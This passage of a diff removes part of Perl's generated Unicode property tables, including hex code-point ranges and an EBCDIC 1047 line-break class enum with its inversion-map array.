0xFF20, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0xFF66, - 0xFF67, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7, - 0xFFF9, - 0xFFFC, - 0xFFFD, - 0x10100, - 0x10103, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x104A0, - 0x104AA, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A50, - 0x10A58, - 0x10AE5, - 0x10AE7, - 0x10AF0, - 0x10AF6, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110C2, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11144, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x112A9, - 0x112AA, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145A, - 0x1145B, - 0x1145C, - 0x114B0, - 0x114C4, - 0x114D0, - 0x114DA, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x11643, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118E0, - 0x118EA, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A40, - 0x11A41, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA1, - 0x11AA3, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C46, - 0x11C50, - 0x11C5A, - 0x11C70, - 0x11C71, - 0x11C72, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12470, - 0x12475, - 0x13258, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x13379, - 0x1337A, - 0x1337C, - 0x145CE, - 0x145CF, - 0x145D0, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B30, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1F000, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F385, - 0x1F386, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AA, - 0x1F4AB, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F676, - 0x1F679, - 0x1F67C, - 0x1F680, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - LB_Alphabetic = 0, - LB_Break_After = 1, - LB_Break_Before = 2, - LB_Break_Both = 3, - LB_Break_Symbols = 4, - LB_Carriage_Return = 5, - LB_Close_Parenthesis = 6, - LB_Close_Punctuation = 7, - LB_Combining_Mark = 8, - LB_Contingent_Break = 9, - LB_E_Base = 10, - LB_E_Modifier = 11, - LB_Exclamation = 12, - LB_Glue = 13, - LB_H2 = 14, - LB_H3 = 15, - LB_Hebrew_Letter = 16, - LB_Hyphen = 17, - LB_Ideographic = 18, - LB_Infix_Numeric = 19, - LB_Inseparable = 20, - LB_JL = 21, - LB_JT = 22, - LB_JV = 23, - LB_Line_Feed = 24, - LB_Mandatory_Break = 25, - LB_Next_Line = 26, - LB_Nonstarter = 27, - LB_Numeric = 28, - LB_Open_Punctuation = 29, - LB_Postfix_Numeric = 30, - LB_Prefix_Numeric = 31, - LB_Quotation = 32, - LB_Regional_Indicator = 33, - LB_Space = 34, - LB_Word_Joiner = 35, - LB_ZWJ = 36, - LB_ZWSpace = 37, - LB_EDGE = 38 -} LB_enum; - -static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 1047 */ - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Mandatory_Break, - LB_Carriage_Return, - LB_Combining_Mark, - LB_Line_Feed, - LB_Combining_Mark, - LB_Next_Line, - LB_Combining_Mark, - LB_Space, - LB_Glue, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Prefix_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Exclamation, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Close_Parenthesis, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Hyphen, - LB_Break_Symbols, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Close_Parenthesis, - LB_Break_Before, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Postfix_Numeric, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Glue, - LB_Break_Before, - LB_Break_After, - LB_Glue, - LB_Exclamation, - LB_Glue, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Glue, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_JL, - LB_JV, - LB_JT, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_ZWSpace, - LB_Combining_Mark, - LB_ZWJ, - LB_Combining_Mark, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_Break_Both, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Alphabetic, - LB_Inseparable, - LB_Break_After, - LB_Mandatory_Break, - LB_Combining_Mark, - LB_Glue, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Word_Joiner, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Inseparable, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Quotation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_Both, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Alphabetic, - LB_Combining_Mark, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - 